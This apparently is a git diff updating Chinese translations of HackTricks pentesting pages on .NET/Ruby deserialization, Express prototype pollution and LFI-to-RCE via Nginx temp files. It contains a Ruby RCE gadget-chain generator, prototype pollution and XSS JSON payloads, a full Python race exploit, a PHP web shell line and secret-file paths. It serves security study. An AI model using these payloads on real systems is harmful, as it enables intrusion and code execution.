||||||
```
|
```
|
||||||
// Action below is dangerous if the attacker can change the data in the database
|
// Action below is dangerous if the attacker can change the data in the database
|
||||||
var typename = GetTransactionTypeFromDatabase();
|
var typename = GetTransactionTypeFromDatabase();
|
||||||
|
@ -706,7 +719,9 @@ var serializer = new DataContractJsonSerializer(Type.GetType(typename));
|
||||||
|
|
||||||
var obj = serializer.ReadObject(ms);
|
var obj = serializer.ReadObject(ms);
|
||||||
```
|
```
|
||||||
在反序列化过程中,某些 .Net 类型可能会发生执行操作。创建如下所示的控件是无效的。
|
```markdown
|
||||||
|
在反序列化过程中,某些.Net类型内可以发生执行。创建如下所示的控件是无效的。
|
||||||
|
```
|
||||||
```
|
```
|
||||||
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
|
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
|
||||||
|
|
||||||
|
@ -718,28 +733,28 @@ if (suspectObject is SomeDangerousObjectType)
|
||||||
```
|
```
|
||||||
对于`BinaryFormatter`和`JSON.Net`,可以使用自定义的`SerializationBinder`创建更安全的白名单控制形式。
|
对于`BinaryFormatter`和`JSON.Net`,可以使用自定义的`SerializationBinder`创建更安全的白名单控制形式。
|
||||||
|
|
||||||
请时刻关注已知的.Net不安全反序列化gadget,并特别注意在反序列化过程中可能创建此类类型的位置。**反序列化器只能实例化它所知道的类型**。
|
尽量保持对已知.Net不安全反序列化小工具的最新了解,并特别注意这些类型是否可以通过您的反序列化过程创建。**反序列化器只能实例化它所知道的类型**。
|
||||||
|
|
||||||
请将可能创建潜在gadget的任何代码与具有互联网连接的代码分开。例如,在WPF应用程序中使用的`System.Windows.Data.ObjectDataProvider`是一个已知的gadget,允许任意方法调用。在反序列化不受信任的数据的REST服务项目中引用此程序集将是有风险的。
|
尽量将可能创建潜在小工具的代码与具有互联网连接的任何代码分开。例如,在WPF应用程序中使用的`System.Windows.Data.ObjectDataProvider`是一个已知的小工具,允许任意方法调用。在一个反序列化不受信任数据的REST服务项目中引用此程序集将是冒险的。
|
||||||
|
|
||||||
### **参考资料**
|
### **参考资料**
|
||||||
|
|
||||||
* Java和.Net JSON反序列化**论文:**[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,**演讲:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c)**,**幻灯片:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
* Java和.Net JSON反序列化**论文:**[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,**讲座:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 和幻灯片:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
||||||
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
||||||
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||||
|
|
||||||
## **Ruby**
|
## **Ruby**
|
||||||
|
|
||||||
Ruby在**marshal**库中有两种实现序列化的方法:第一种方法是**dump**,将对象转换为字节流(**序列化**)。第二种方法是**load**,将字节流再次转换为对象(**反序列化**)。
|
Ruby在**marshal**库中有两种实现序列化的方法:第一种方法是**dump**,它将对象转换为字节流**(序列化)**。第二种方法是**load**,将字节流再次转换为对象**(反序列化)**。\
|
||||||
Ruby使用HMAC对序列化对象进行签名,并将密钥保存在以下文件之一中:
|
Ruby使用HMAC对序列化对象进行签名,并将密钥保存在以下文件之一:
|
||||||
|
|
||||||
* config/environment.rb
|
* config/environment.rb
|
||||||
* config/initializers/secret\_token.rb
|
* config/initializers/secret\_token.rb
|
||||||
* config/secrets.yml
|
* config/secrets.yml
|
||||||
* /proc/self/environ
|
* /proc/self/environ
|
||||||
|
|
||||||
Ruby 2.X通用反序列化到RCE gadget链(更多信息请参见[https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)):
|
Ruby 2.X通用反序列化到RCE小工具链(更多信息在[https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)):
|
||||||
```ruby
|
```ruby
|
||||||
#!/usr/bin/env ruby
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
@ -808,16 +823,20 @@ require "base64"
|
||||||
puts "Payload (Base64 encoded):"
|
puts "Payload (Base64 encoded):"
|
||||||
puts Base64.encode64(payload)
|
puts Base64.encode64(payload)
|
||||||
```
|
```
|
||||||
另一个利用Ruby On Rails的RCE链:[https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
```markdown
|
||||||
|
其他利用 Ruby On Rails 的 RCE 链:[https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客技术,成为英雄!</strong></summary>
|
||||||
|
|
||||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
其他支持 HackTricks 的方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
```
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# Express原型污染工具
|
# Express 原型污染小工具
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
## 提供 XSS 响应
|
||||||
|
|
||||||
## 提供XSS响应
|
### 将 JSON 内容类型更改为 HTML
|
||||||
|
|
||||||
### 将JSON内容类型更改为HTML
|
在使用 **JSON 内容类型响应** 并反映 JSON 的 Express 应用中:
|
||||||
|
|
||||||
在使用**JSON内容类型响应**并反射JSON的Express应用中:
|
|
||||||
```javascript
|
```javascript
|
||||||
app.use(bodyParser.json({type: 'application/json'}));
|
app.use(bodyParser.json({type: 'application/json'}));
|
||||||
app.post('/', function(req, res){
|
app.post('/', function(req, res){
|
||||||
|
@ -24,41 +25,41 @@ _.merge({}, req.body);
|
||||||
res.send(req.body);
|
res.send(req.body);
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
在这些情况下,通常无法通过JSON内容类型进行XSS攻击。然而,通过原型污染,我们可以**混淆Express以提供HTML响应**。此漏洞依赖于应用程序使用**`res.send(obj)`**并使用应用程序/json内容类型的body解析器。
|
在这些情况下,通常在JSON内容类型中不可能出现XSS。然而,通过原型污染,我们可以**迷惑Express以提供HTML响应。** 这个漏洞依赖于应用程序使用**`res.send(obj)`** 并且使用application/json内容类型的body解析器。
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
||||||
```
|
```
|
||||||
通过污染`body`和`_body`属性,可以导致Express提供HTML内容类型并反射`_body`属性,从而导致存储型XSS。
|
通过同时污染 **`body`** 和 **`_body`** 属性,可以导致 **Express 提供 HTML 内容类型** 并反映 `_body` 属性,导致存储型 XSS。
|
||||||
|
|
||||||
### 渲染UTF7
|
### 渲染 UTF7
|
||||||
|
|
||||||
可以通过以下方式使Express渲染UTF-7内容:
|
可以使 express **渲染 UTF-7 内容**:
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
|
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
|
||||||
```
|
```
|
||||||
## 安全扫描技巧
|
## 安全扫描技术
|
||||||
|
|
||||||
### JSON空格
|
### JSON 空格
|
||||||
|
|
||||||
以下的PP将使JSON中的属性多出一个空格,而不会破坏功能:
|
以下 PP 将使 JSON 内的属性多出一个空格,这不会破坏功能性:
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"json spaces": " "}}
|
{"__proto__":{"json spaces": " "}}
|
||||||
```
|
```
|
||||||
然后一个反射的JSON将会是这样的:
|
那么反射的JSON将看起来像:
|
||||||
```json
|
```json
|
||||||
{"foo": "bar"} -- Note the extra space
|
{"foo": "bar"} -- Note the extra space
|
||||||
```
|
```
|
||||||
### 暴露的头部信息
|
### 暴露的头部
|
||||||
|
|
||||||
以下的PP gadget将会使服务器返回HTTP头部信息:**`Access-Control-Expose_headers: foo`**
|
以下PP小工具将使服务器发送回HTTP头部:**`Access-Control-Expose_headers: foo`**
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"exposedHeaders":["foo"]}}
|
{"__proto__":{"exposedHeaders":["foo"]}}
|
||||||
```
|
```
|
||||||
需要安装**CORS模块**
|
它需要**安装CORS模块**
|
||||||
|
|
||||||
### **OPTIONS方法**
|
### **OPTIONS 方法**
|
||||||
|
|
||||||
使用以下有效载荷,可以**隐藏OPTIONS响应中的一个方法**:
|
使用以下有效载荷,可以**从OPTIONS响应中隐藏方法**:
|
||||||
```javascript
|
```javascript
|
||||||
// Original reponse: POST,GET,HEAD
|
// Original reponse: POST,GET,HEAD
|
||||||
|
|
||||||
|
@ -69,24 +70,24 @@ res.send(req.body);
|
||||||
```
|
```
|
||||||
### **状态**
|
### **状态**
|
||||||
|
|
||||||
可以使用以下PP负载更改**返回的状态码**:
|
可以使用以下PP有效载荷更改**返回状态码**:
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"status":510}}
|
{"__proto__":{"status":510}}
|
||||||
```
|
```
|
||||||
### 错误
|
### 错误
|
||||||
|
|
||||||
当你使用原始类型(如字符串)给原型赋值时,它会产生一个**无操作(no-op)操作,因为原型必须是一个对象**。如果你尝试将原型对象分配给`Object.prototype`本身,这将**抛出一个异常**。我们可以利用这两种行为来**检测原型污染是否成功**:
|
当您使用如字符串这样的原始值给原型赋值时,它会产生一个**无操作,因为原型必须是一个对象**。如果您尝试将一个原型对象赋给`Object.prototype`本身,这将会**抛出一个异常**。我们可以利用这两种行为来**检测原型污染是否成功**:
|
||||||
```javascript
|
```javascript
|
||||||
({}).__proto__.__proto__={}//throws type exception
|
({}).__proto__.__proto__={}//throws type exception
|
||||||
({}).__proto__.__proto__="x"//no-op does not throw exception
|
({}).__proto__.__proto__="x"//no-op does not throw exception
|
||||||
```
|
```
|
||||||
### 反射的值
|
### 反射值
|
||||||
|
|
||||||
如果应用程序在响应中反映了一个对象,你可以创建一个带有**奇怪名称和`__proto__`的属性**,如果**只有奇怪的属性被反射**,那么可能存在Web漏洞:
|
如果应用程序在响应中反映了一个对象,您可以创建一个带有**奇怪名称和 `__proto__`** 的属性,如果**只有奇怪的名称被反映**,那么这个网站可能是脆弱的:
|
||||||
```json
|
```json
|
||||||
{"hacktricks":"rocks","__proto__":"test"}
|
{"hacktricks":"rocks","__proto__":"test"}
|
||||||
```
|
```
|
||||||
或者如果使用了Lodash或类似的库,你可以通过PP在对象内部**设置一个属性**,如果该属性没有反映出来,那是因为Lodash会查看当前对象,以确定该属性是否已存在于合并的对象中:
|
如果使用了 Lodash 或类似库,你可以**通过 PP 设置对象内部的属性**,如果该属性没有反映出来,那是因为 Lodash 会检查当前对象,看看该属性是否已经存在于合并后的对象中:
|
||||||
```javascript
|
```javascript
|
||||||
{"__proto__":{"a":"asd"},"a":"asd2","b":"dfg"}
|
{"__proto__":{"a":"asd"},"a":"asd2","b":"dfg"}
|
||||||
// If only b is reflected then PP in Lodash
|
// If only b is reflected then PP in Lodash
|
||||||
|
@ -95,12 +96,12 @@ res.send(req.body);
|
||||||
|
|
||||||
### 允许点号
|
### 允许点号
|
||||||
|
|
||||||
在Express中有一个选项可以允许你从查询字符串参数中**创建对象**。\
|
Express 中有一个选项可以让你**从查询字符串参数创建对象**。\
|
||||||
你可以在一个漏洞**链**中利用它来利用**原型污染漏洞**。
|
你绝对可以在漏洞**链**中利用它来攻击**原型污染漏洞**。
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"allowDots":true}}
|
{"__proto__":{"allowDots":true}}
|
||||||
```
|
```
|
||||||
**`?foo.bar=baz` 在Node中创建一个对象。**
|
**`?foo.bar=baz` 在 Node 中创建一个对象。**
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
|
|
||||||
|
@ -108,12 +109,14 @@ res.send(req.body);
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,20 +1,21 @@
|
||||||
# 通过Nginx临时文件的LFI2RCE
|
# LFI2RCE 通过 Nginx 临时文件
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
## 易受攻击的配置
|
||||||
|
|
||||||
## 可漏洞的配置
|
* PHP 代码:
|
||||||
|
|
||||||
* PHP代码:
|
|
||||||
```
|
```
|
||||||
<?php include_once($_GET['file']);
|
<?php include_once($_GET['file']);
|
||||||
```
|
```
|
||||||
|
@ -25,16 +26,16 @@ php_admin_value[session.upload_progress.enabled] = 0
|
||||||
php_admin_value[file_uploads] = 0
|
php_admin_value[file_uploads] = 0
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
* 设置/加固:
|
* 设置 / 加固:
|
||||||
```
|
```
|
||||||
...
|
...
|
||||||
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
|
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
|
||||||
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
|
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
幸运的是,PHP目前经常通过PHP-FPM和Nginx部署。Nginx提供了一个容易被忽视的[客户端主体缓冲](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size)功能,如果客户端主体(不仅限于POST)大于某个阈值,它将写入临时文件。
|
幸运的是,PHP目前通常通过PHP-FPM和Nginx部署。Nginx提供了一个容易被忽视的[客户端体缓冲](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size)功能,如果客户端体(不限于post)大于某个阈值,它将写入临时文件。
|
||||||
|
|
||||||
如果Nginx以与PHP相同的用户(通常是www-data)运行,此功能允许利用LFI而无需创建其他文件。
|
如果Nginx以与PHP相同的用户身份运行(通常作为www-data),即使没有其他创建文件的方式,这个功能也允许利用LFIs。
|
||||||
|
|
||||||
相关的Nginx代码:
|
相关的Nginx代码:
|
||||||
```c
|
```c
|
||||||
|
@ -53,7 +54,7 @@ if (fd != -1 && !persistent) {
|
||||||
return fd;
|
return fd;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
这里可以看到,Nginx在打开临时文件后立即将其删除。幸运的是,可以利用procfs通过竞争仍然获取到已删除文件的引用:
|
可以看到,**tempfile 在被 Nginx 打开后立即被解除链接**。幸运的是,**procfs 可以通过竞争条件仍然获取到已删除文件的引用**:
|
||||||
```
|
```
|
||||||
...
|
...
|
||||||
/proc/34/fd:
|
/proc/34/fd:
|
||||||
|
@ -68,9 +69,9 @@ lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
|
||||||
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
|
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
注意:在这个例子中,不能直接包含`/proc/34/fd/15`,因为PHP的`include`函数会将路径解析为`/var/lib/nginx/body/0000001368 (deleted)`,而这个文件在文件系统中不存在。幸运的是,可以通过一些间接的方式绕过这个小限制,比如:`/proc/self/fd/34/../../../34/fd/15`,最终会执行被删除的`/var/lib/nginx/body/0000001368`文件的内容。
|
注意:在这个例子中,不能直接包含 `/proc/34/fd/15`,因为 PHP 的 `include` 函数会将路径解析为 `/var/lib/nginx/body/0000001368 (deleted)`,而这在文件系统中并不存在。幸运的是,这个小限制可以通过一些间接方法绕过,比如:`/proc/self/fd/34/../../../34/fd/15`,这最终会执行被删除的 `/var/lib/nginx/body/0000001368` 文件的内容。
|
||||||
|
|
||||||
## 完整的利用方式
|
## 完整利用
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
import sys, threading, requests
|
import sys, threading, requests
|
||||||
|
@ -139,43 +140,29 @@ for pid in nginx_workers:
|
||||||
a = threading.Thread(target=bruter, args=(pid, ))
|
a = threading.Thread(target=bruter, args=(pid, ))
|
||||||
a.start()
|
a.start()
|
||||||
```
|
```
|
||||||
# LFI to RCE via Nginx Temp Files
|
```markdown
|
||||||
|
# LFI to RCE via Nginx Temporary Files
|
||||||
|
|
||||||
## Introduction
|
在某些配置下,Nginx 会将大的请求体存储在临时文件中。如果应用程序存在本地文件包含(LFI)漏洞,攻击者可能会利用这一点来实现远程代码执行(RCE)。
|
||||||
|
|
||||||
In some cases, a Local File Inclusion (LFI) vulnerability can be escalated to Remote Code Execution (RCE) by exploiting Nginx temporary files. This technique can be used when the target server is running Nginx as its web server.
|
## 漏洞原理
|
||||||
|
|
||||||
## Exploitation
|
当客户端发送一个大的 POST 请求到 Nginx 时,Nginx 会将请求体存储在 `/var/lib/nginx/body` 目录下的一个临时文件中。如果应用程序允许包含本地文件,攻击者可以通过 LFI 漏洞包含这个临时文件,如果文件包含可执行的 PHP 代码,这可能会导致 RCE。
|
||||||
|
|
||||||
1. Identify the LFI vulnerability on the target website.
|
## 利用步骤
|
||||||
2. Determine the location of the Nginx temporary directory. This can usually be found in the Nginx configuration file (`nginx.conf`).
|
|
||||||
3. Craft a payload that will write a malicious PHP file to the Nginx temporary directory. For example:
|
|
||||||
|
|
||||||
```php
|
1. 发送一个大的 POST 请求,其中包含 PHP 代码,到目标服务器。
|
||||||
<?php echo system($_GET['cmd']); ?>
|
2. 通过 LFI 漏洞找到临时文件的路径。
|
||||||
|
3. 包含临时文件以执行 PHP 代码。
|
||||||
|
|
||||||
|
## 防御措施
|
||||||
|
|
||||||
|
